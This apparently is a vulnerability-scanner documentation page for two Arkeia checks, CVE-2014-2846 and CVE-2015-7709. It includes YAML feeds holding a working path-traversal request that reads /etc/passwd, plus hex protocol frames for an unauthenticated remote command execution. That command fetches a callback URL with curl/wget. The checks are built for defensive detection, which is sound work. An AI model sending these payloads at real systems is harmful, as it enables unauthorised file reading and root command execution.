Arkeia — 2 vulnerability checks

noctis ships 2 vulnerability checks for Arkeia, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

WD Arkeia Virtual Appliance lang cookie path traversal

CVECVE-2014-2846
Severitycritical · CVSS 9.8
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, match, script · highest QoD 75
Feedtests/vulnerabilities/arkeia/CVE-2014-2846.yaml

Tests the web interface of the WD Arkeia Virtual Appliance (Arkeia Network Backup before 10.2.9) for the path traversal in its "lang" cookie, which the application passes to a PHP include after removing "../" only once. Without any valid login, the feed posts a dummy login to /login/doLogin with a "lang" cookie that climbs to /etc/passwd through "..././" sequences and ends in a URL-encoded NUL byte. The finding is confirmed when the reply carries a root (uid 0) passwd line together with the appliance's JSON login reply. A control request for an absent file must answer without any passwd line, so a server returning the same content on every request is not reported. Only the world-readable /etc/passwd is read and its password field is redacted from the evidence. The same flaw lets an attacker read any file the web server can read and run PHP code through files whose content they control.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: POST /login/doLogin HTTP/1.0
  2. Checks passwd_r.banner for (?m)(?:^|>)([A-Za-z0-9_.-]+):[^:\r\n]*:0:([01]):[^:\r\n]*:([^:\r\n]*)…
  3. Checks passwd_r.banner for (?s)"STATUS"\s*:\s*\[.*"MESSAGE"\s*:\s*\[|"MESSAGE"\s*:\s*\[.*"STATUS…
  4. Parses / computes the next value with a Rhai script
  5. Raw TCP (TLS on HTTPS), sent verbatim: POST /login/doLogin HTTP/1.0
  6. Checks ctrl_r.banner for (?m)(?:^|>)[A-Za-z0-9_.-]+:[^:\r\n]*:0:[01]:
  7. Checks proof for ^(root|<redacted>):<redacted>:0:[01]: → finding QoD 75: WD Arkeia Virtual Appliance lang cookie path traversal (CVE-2014-2846)

References:

Feed source — tests/vulnerabilities/arkeia/CVE-2014-2846.yaml
# WD Arkeia Virtual Appliance web UI — "lang" cookie path traversal / local
# file inclusion (CVE-2014-2846, SEC Consult SA-20140423-0).
#
# /opt/arkeia/wui/htdocs/index.php passes the "lang" cookie to include() after
# removing "../" only once, so "..././" becomes "../" again; "%00" (decoded to
# NUL by PHP's cookie parser) cuts the appended suffix on PHP 5.3. The included
# file is printed before the JSON reply of POST /login/doLogin. Every AVA / ASA
# / APA release from 7.0.3 up to 10.2.7 is affected (vendor statement); fixed in
# 10.2.9. Unauthenticated; the same include can run PHP code from a file whose
# content the attacker controls (log poisoning), which is not attempted here.
#
# Detection (benign, read-only):
#   1. POST /login/doLogin with Cookie lang=aaa(..././ x6)etc/passwd%00 and a
#      dummy login, sent verbatim through tcp_connect (request of the advisory
#      and of the source check). Match a uid-0 passwd line in the reply.
#   2. Product gate: the same reply must also carry the Arkeia doLogin JSON
#      ("STATUS":[ … "MESSAGE":[), so the CVE is not attributed to another
#      application with a similar include flaw.
#   3. Control: the same request for an absent file whose name still contains
#      "etc/passwd" must answer and carry no passwd line (fail-closed).
# The matched line is rebuilt with the password field redacted before it reaches
# the finding. QoD 75 (response analysis).
#
# Improvements over the source check:
#   - absent-file control (tarpits / honeypots returning passwd everywhere);
#   - Arkeia JSON reply gate on the same response;
#   - any uid-0 account counts, the password field never reaches the evidence.
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_arkeia_ava_traversal_04_14.nasl
# (OID 1.3.6.1.4.1.25623.1.0.105011, GPL-2.0-only).
uid: c5c465fb-4714-4716-bcb3-51bfb4e8af70
name: "WD Arkeia Virtual Appliance lang cookie path traversal (CVE-2014-2846)"
description: |
  Tests the web interface of the WD Arkeia Virtual Appliance (Arkeia Network
  Backup before 10.2.9) for the path traversal in its "lang" cookie, which the
  application passes to a PHP include after removing "../" only once. Without
  any valid login, the feed posts a dummy login to /login/doLogin with a "lang"
  cookie that climbs to /etc/passwd through "..././" sequences and ends in a
  URL-encoded NUL byte. The finding is confirmed when the reply carries a root
  (uid 0) passwd line together with the appliance's JSON login reply. A control
  request for an absent file must answer without any passwd line, so a server
  returning the same content on every request is not reported. Only the
  world-readable /etc/passwd is read and its password field is redacted from
  the evidence. The same flaw lets an attacker read any file the web server can
  read and run PHP code through files whose content they control.
cves: [CVE-2014-2846]
cvss: 9.8
severity: critical
category: file-read
confidence_base: 0.30
tags: [arkeia, western-digital, backup, appliance, php, lfi, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-2846"
  - "https://seclists.org/bugtraq/2014/Apr/141"
  - "https://www.exploit-db.com/exploits/33005"
  # OpenVAS/Greenbone NASL 2014/gb_arkeia_ava_traversal_04_14.nasl (GPL-2.0-only)

steps:
  # ── Pre-initialise every value read later (undefined vars abort/skip) ────
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {connected: false, banner: ""}

  - id: init-passwd-m
    action: set_var
    var_name: passwd_m
    var_value: {matched: false, captures: []}

  - id: init-ark-m
    action: set_var
    var_name: ark_m
    var_value: {matched: false, captures: []}

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {connected: false, banner: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Include /etc/passwd through the lang cookie (sent verbatim) ──────────
  - id: read-passwd
    action: tcp_connect
    port: "{{port}}"
    send: "POST /login/doLogin HTTP/1.0\r\nHost: {{target_host}}\r\nCookie: lang=aaa..././..././..././..././..././..././etc/passwd%00\r\nContent-Length: 33\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\npassword=noctis00&username=noctis"
    timeout_secs: 10
    store_as: passwd_r

  # No on_match: the raw reply (password hash) must not become evidence.
  # Captures: account name, gid, home, shell of a uid-0 line.
  - id: passwd-content
    action: match
    source: passwd_r.banner
    pattern: "(?m)(?:^|>)([A-Za-z0-9_.-]+):[^:\\r\\n]*:0:([01]):[^:\\r\\n]*:([^:\\r\\n]*):([^:\\r\\n<]*)"
    condition: 'passwd_r.connected == true && type_of(passwd_r.banner) == "string"'
    store_as: passwd_m

  # Product gate: the Arkeia doLogin JSON reply follows the included file
  # (STATUS and MESSAGE arrays, either key order).
  - id: arkeia-reply
    action: match
    source: passwd_r.banner
    pattern: "(?s)\"STATUS\"\\s*:\\s*\\[.*\"MESSAGE\"\\s*:\\s*\\[|\"MESSAGE\"\\s*:\\s*\\[.*\"STATUS\"\\s*:\\s*\\["
    condition: "passwd_m.matched == true"
    store_as: ark_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && ark_m.matched && passwd_m.captures.len() > 3 {
        if passwd_m.captures[0] == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2] + ":" + passwd_m.captures[3]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>:" + passwd_m.captures[3]
        }
      } else { "" }
    store_as: proof

  # ── Control: same request, absent file — must NOT carry a passwd line. The
  # absent name still contains "etc/passwd", so a honeypot keying a fake file
  # on that substring answers it too.
  - id: control
    action: tcp_connect
    port: "{{port}}"
    send: "POST /login/doLogin HTTP/1.0\r\nHost: {{target_host}}\r\nCookie: lang=aaa..././..././..././..././..././..././etc/passwd.noctis-absent-{{oob_token}}%00\r\nContent-Length: 33\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\npassword=noctis00&username=noctis"
    timeout_secs: 10
    condition: 'proof != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.banner
    pattern: "(?m)(?:^|>)[A-Za-z0-9_.-]+:[^:\\r\\n]*:0:[01]:"
    condition: 'proof != "" && ctrl_r.connected == true && type_of(ctrl_r.banner) == "string"'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Finding (control answered and stayed clean) ──────────────────────────
  - id: report
    action: match
    source: proof
    pattern: "^(root|<redacted>):<redacted>:0:[01]:"
    condition: 'ctrl_r.connected == true && type_of(ctrl_r.banner) == "string" && ctrl_r.banner != "" && ctrl_hit == false'
    on_match:
      finding:
        title: "WD Arkeia Virtual Appliance lang cookie path traversal (CVE-2014-2846)"
        description: "An unauthenticated POST to /login/doLogin with a \"lang\" cookie climbing to /etc/passwd through \"..././\" sequences and a NUL byte returned the content of /etc/passwd before the appliance's JSON login reply, while the same request for an absent file did not. Any file readable by the web server, including backup configuration, can be read this way, and PHP code can be run through files whose content an attacker controls."
        remediation: "Update Arkeia Network Backup / the Arkeia Virtual Appliance to 10.2.9 or later, and restrict access to the appliance web interface to trusted networks."
        confidence_delta: 0.55
        qod: 75
        evidence: "POST /login/doLogin with Cookie lang=aaa(..././ x6)etc/passwd%00 returned /etc/passwd with the Arkeia JSON reply; control for an absent file returned no passwd line ({{proof}})"
      stop: true

Western Digital Arkeia arkeiad ARKFS_EXEC_CMD authentication bypass remote command execution

CVECVE-2015-7709
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Servicesarkeia, sco-dtmgr, unknown
Detectionscript, tcp_open, tcp_send, sleep, tcp_close, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/arkeia/CVE-2015-7709.yaml

Speaks the Arkeia backup agent protocol to the arkeiad daemon (TCP 617): opens an ARKFS session without valid credentials, registers the ARKFS_EXEC_CMD function and asks the daemon to run a command that makes the target's shell compute and print the sum of two random numbers chosen per scan. The finding is confirmed when that sum, which is not in the request, comes back in the daemon's replies, or, when out-of-band detection is enabled, when the same command makes the target fetch the scanner's callback URL with curl or wget. If the daemon accepts the unauthenticated session and the command-execution function but execution cannot be observed, a lower-confidence finding is reported. Arkeia 11.0.12 and earlier run such commands as root or SYSTEM.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Opens a persistent TCP/TLS socket
  4. Sends a binary frame on the open socket
  5. Parses / computes the next value with a Rhai script
  6. Sends a binary frame on the open socket
  7. Parses / computes the next value with a Rhai script
  8. Sends a binary frame on the open socket
  9. Parses / computes the next value with a Rhai script
  10. Sends a binary frame on the open socket
  11. Parses / computes the next value with a Rhai script
  12. Sends a binary frame on the open socket
  13. Sends … on the open socket
  14. Parses / computes the next value with a Rhai script
  15. … and 3 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/arkeia/CVE-2015-7709.yaml
# Western Digital Arkeia <= 11.0.12 — arkeiad authentication bypass and remote
# command execution through ARKFS_EXEC_CMD (CVE-2015-7709).
#
# Ported from OpenVAS/Greenbone NVT 2016/gb_arkeia_west_dig_rce.nasl
# (OID 1.3.6.1.4.1.25623.1.0.107041, GPL-2.0-only); same frames as the public
# Metasploit module exploit/multi/misc/arkeia_agent_exec (EDB 37600).
#
# Protocol (arkeiad, TCP 617). Every frame is
#     u16be type | u16be ? | u16be seq | u16be len | len bytes
#   1. 0x41 ARKFS "login" as root/root (no password is checked) → 0x60 0x0004
#   2. 0x73                                                      → 0x60 0x0004
#   3. 0x61 session id + language "EN"                           → 0x43 0x0000
#   4. 0x62 register the function "ARKFS_EXEC_CMD"               → 0x43 0x0000
#   5. 0x63 + 0x64 <command> — the daemon runs <command> as root/SYSTEM.
#
# INTRUSIVE — REAL, BENIGN EXPLOITATION. The command is
#     echo NOCTIS$((A+B))
# with random 6-digit A and B per scan, so the target's shell computes a sum
# that is never in the request. It writes nothing and starts nothing that
# lasts. When OOB is enabled the same command also runs
#     curl -s -m 5 <oob_url> || wget -q -T 5 -t 1 -O- <oob_url>
# and the callback is the proof for agents that do not return the output.
#
# Findings:
#   QoD 97 — NOCTIS<A+B> came back in a reply (digit-bounded, byte-aligned
#            match on the reply bytes), or the OOB callback arrived;
#   QoD 75 — the daemon accepted the unauthenticated session AND the
#            ARKFS_EXEC_CMD function (steps 1–4 answered with the success
#            frames), but execution could not be observed (no output, OOB off
#            or egress filtered).
#
# Better than the OpenVAS NVT:
#   - the NVT only proves execution with an ICMP echo captured by pcap, which
#     needs the target to reach the scanner by ICMP and a scanner able to
#     sniff; here the proof is an in-band computed value or an HTTP callback;
#   - the NVT fills only the low byte of the 0x64 command length (wrong past
#     255 bytes); here the full u16be length field is written;
#   - when execution cannot be observed the accepted ARKFS_EXEC_CMD session is
#     still reported (QoD 75) instead of nothing.
# Whether a real arkeiad returns the command's stdout in its 0x68 reply frames
# is not documented (public code reads those frames without looking at them):
# the in-band proof is opportunistic, the OOB and QoD 75 paths cover agents
# that return nothing.
# Windows agents: the in-band `$((…))` and curl/wget proofs are Unix-only, so
# a Windows agent gets the QoD 75 finding.
uid: d05f9b88-1e3d-446f-bc52-bfcf96ec9e3a
name: "Western Digital Arkeia arkeiad ARKFS_EXEC_CMD authentication bypass remote command execution"
description: |
  Speaks the Arkeia backup agent protocol to the arkeiad daemon (TCP 617):
  opens an ARKFS session without valid credentials, registers the
  ARKFS_EXEC_CMD function and asks the daemon to run a command that makes the
  target's shell compute and print the sum of two random numbers chosen per
  scan. The finding is confirmed when that sum, which is not in the request,
  comes back in the daemon's replies, or, when out-of-band detection is
  enabled, when the same command makes the target fetch the scanner's callback
  URL with curl or wget. If the daemon accepts the unauthenticated session and
  the command-execution function but execution cannot be observed, a
  lower-confidence finding is reported. Arkeia 11.0.12 and earlier run such
  commands as root or SYSTEM.
cves: [CVE-2015-7709]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.30
tags: [arkeia, western-digital, backup, arkeiad, rce, auth-bypass, intrusive, tcp-617]
# nmap's NULL-probe signature names the daemon "arkeia"; nmap-services names
# TCP 617 "sco-dtmgr"; an unidentified service is reported as "unknown".
services: [arkeia, sco-dtmgr, unknown]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7709"
  - "https://seclists.org/fulldisclosure/2015/Jul/54"
  - "https://www.exploit-db.com/exploits/37600"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/arkeia_agent_exec.rb"

steps:
  # 1 — frames. A and B are random so the expected output differs on every
  #     scan and never appears in a frame.
  - id: build
    action: script
    store_as: x
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let sum = "" + (a + b);
      let cmd = "echo NOCTIS$((" + a + "+" + b + "))";
      if oob_enabled {
        cmd += "; curl -s -m 5 " + oob_url + " || wget -q -T 5 -t 1 -O- " + oob_url;
      }
      let sid = "" + rand_int(1000000000, 9999999999);
      let f3 = "006100040001001a0000";
      f3 += hexstr(sid);
      f3 += "00454e0000000000000000000000";
      let fx = "0063000400030015310031003100303a312c0000000000000000000000";
      fx += "006400040004";
      fx += p16be(strlen(cmd));
      fx += hexstr(cmd);
      fx += "00";
      let proof = "^(?:..)*?" + hexstr("NOCTIS" + sum) + "(?:[0-24-9a-f][0-9a-f]|3[a-f]|$)";
      #{ cmd: cmd, sum: sum, f3: f3, fx: fx, proof: proof }

  - id: init-state
    action: script
    store_as: s
    code: |
      #{ ok1: false, ok2: false, ok3: false, ok4: false, found: false }

  - id: open
    action: tcp_open
    handle: ark
    port: "{{port}}"
    read_banner: true
    # Runs on unknown ports: a service that never greets costs the whole
    # first-byte wait (timeout_secs), so keep it short.
    timeout_secs: 3
    store_as: c

  # 2 — 0x41 ARKFS session as root/root. Any greeting read on connect is
  #     searched too (nmap's arkeia signature is a 0x60 frame sent at once).
  - id: send-login
    action: tcp_send
    handle: ark
    condition: "c.connected == true"
    send_hex: "0041000000000070000000000000000000000000c0a8028a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008a02a8c041524b465300726f6f7400726f6f74000000342e332e302d310000000000000000000000"
    timeout_secs: 10
    store_as: r1

  - id: check-login
    action: script
    condition: "c.connected == true"
    store_as: s
    code: |
      let t = "";
      if type_of(c.banner_hex) == "string" { t += c.banner_hex; }
      if type_of(r1.response_hex) == "string" { t += r1.response_hex; }
      s.ok1 = ereg("^(?:..)*?00600004", t);
      s

  - id: send-0x73
    action: tcp_send
    handle: ark
    condition: "s.ok1 == true"
    send_hex: "007300000000000c320000000000000000000000"
    timeout_secs: 10
    store_as: r2

  - id: check-0x73
    action: script
    condition: "s.ok1 == true"
    store_as: s
    code: |
      s.ok2 = type_of(r2.response_hex) == "string" && ereg("^(?:..)*?00600004", r2.response_hex);
      s

  # 3 — 0x61 session id + language: success is an empty 0x43 frame.
  - id: send-session
    action: tcp_send
    handle: ark
    condition: "s.ok2 == true"
    send_hex: "{{x.f3}}"
    timeout_secs: 10
    store_as: r3

  - id: check-session
    action: script
    condition: "s.ok2 == true"
    store_as: s
    code: |
      s.ok3 = type_of(r3.response_hex) == "string" && ereg("^00430000....0000", r3.response_hex);
      s

  # 4 — 0x62 register ARKFS_EXEC_CMD: success is an empty 0x43 frame.
  - id: send-function
    action: tcp_send
    handle: ark
    condition: "s.ok3 == true"
    send_hex: "006200010002001b41524b46535f455845435f434d4400310000000000000000000000"
    timeout_secs: 10
    store_as: r4

  - id: check-function
    action: script
    condition: "s.ok3 == true"
    store_as: s
    code: |
      s.ok4 = type_of(r4.response_hex) == "string" && ereg("^00430000....0000", r4.response_hex);
      s

  # 5 — 0x63 + 0x64 <command>, then read again after a pause for late output
  #     (an engine read stops after 500 ms of silence).
  - id: send-exec
    action: tcp_send
    handle: ark
    condition: "s.ok4 == true"
    send_hex: "{{x.fx}}"
    timeout_secs: 10
    store_as: r5

  - id: wait-late
    action: sleep
    condition: "s.ok4 == true"
    duration_ms: 1500

  - id: read-late
    action: tcp_send
    handle: ark
    condition: "s.ok4 == true"
    timeout_secs: 10
    store_as: r6

  - id: scan-output
    action: script
    condition: "s.ok4 == true"
    store_as: s
    code: |
      let t = "";
      if type_of(r5.response_hex) == "string" { t += r5.response_hex; }
      if type_of(r6.response_hex) == "string" { t += r6.response_hex; }
      s.found = ereg(x.proof, t);
      s

  - id: close
    action: tcp_close
    handle: ark

  - id: check-inband
    action: match
    source: s.found
    pattern: "^true$"
    condition: "s.found == true"
    on_match:
      finding:
        title: "Western Digital Arkeia arkeiad ARKFS_EXEC_CMD remote command execution"
        description: "arkeiad accepted an unauthenticated ARKFS session and ran a command through ARKFS_EXEC_CMD: the target's shell computed and returned the per-scan sum {{x.sum}}, which is not in the request, confirming remote command execution as root (CVE-2015-7709)."
        remediation: "Arkeia is end-of-life and no fix was released: remove the Arkeia agent, or block TCP 617 so that only the backup server can reach arkeiad."
        confidence_delta: 0.65
        qod: 97
        evidence: "command `echo NOCTIS$((A+B))` sent through ARKFS_EXEC_CMD on TCP {{port}} returned NOCTIS{{x.sum}}"
      stop: true

  # 6 — blind agent with OOB enabled: the same command fetched the callback URL.
  - id: wait-callback
    action: wait_oob
    condition: "oob_enabled && s.ok4 == true && s.found == false"
    oob_timeout_secs: 15
    store_as: oob_result
    on_success:
      finding:
        title: "Western Digital Arkeia arkeiad ARKFS_EXEC_CMD remote command execution"
        description: "arkeiad accepted an unauthenticated ARKFS session and ran a command through ARKFS_EXEC_CMD that made the target fetch the scanner's out-of-band callback URL; the callback was received, confirming remote command execution as root (CVE-2015-7709)."
        remediation: "Arkeia is end-of-life and no fix was released: remove the Arkeia agent, or block TCP 617 so that only the backup server can reach arkeiad."
        confidence_delta: 0.65
        qod: 97
        evidence: "OOB callback received after running `curl -s -m 5 <oob_url> || wget …` through ARKFS_EXEC_CMD on TCP {{port}}"
      stop: true

  # 7 — execution not observed, but the daemon granted ARKFS_EXEC_CMD to an
  #     unauthenticated peer.
  - id: check-accepted
    action: match
    source: s.ok4
    pattern: "^true$"
    condition: "s.ok4 == true && s.found == false"
    on_match:
      finding:
        title: "Western Digital Arkeia arkeiad grants ARKFS_EXEC_CMD without authentication"
        description: "arkeiad accepted an ARKFS session with arbitrary credentials and registered the ARKFS_EXEC_CMD command-execution function for it (CVE-2015-7709). The command sent afterwards produced no observable output or callback (Windows agent, out-of-band detection disabled, or outbound traffic filtered)."
        remediation: "Arkeia is end-of-life and no fix was released: remove the Arkeia agent, or block TCP 617 so that only the backup server can reach arkeiad."
        confidence_delta: 0.50
        qod: 75
        evidence: "TCP {{port}}: ARKFS login answered 0x60/0x0004, session and ARKFS_EXEC_CMD registration answered with empty 0x43 frames"

View these feeds on GitHub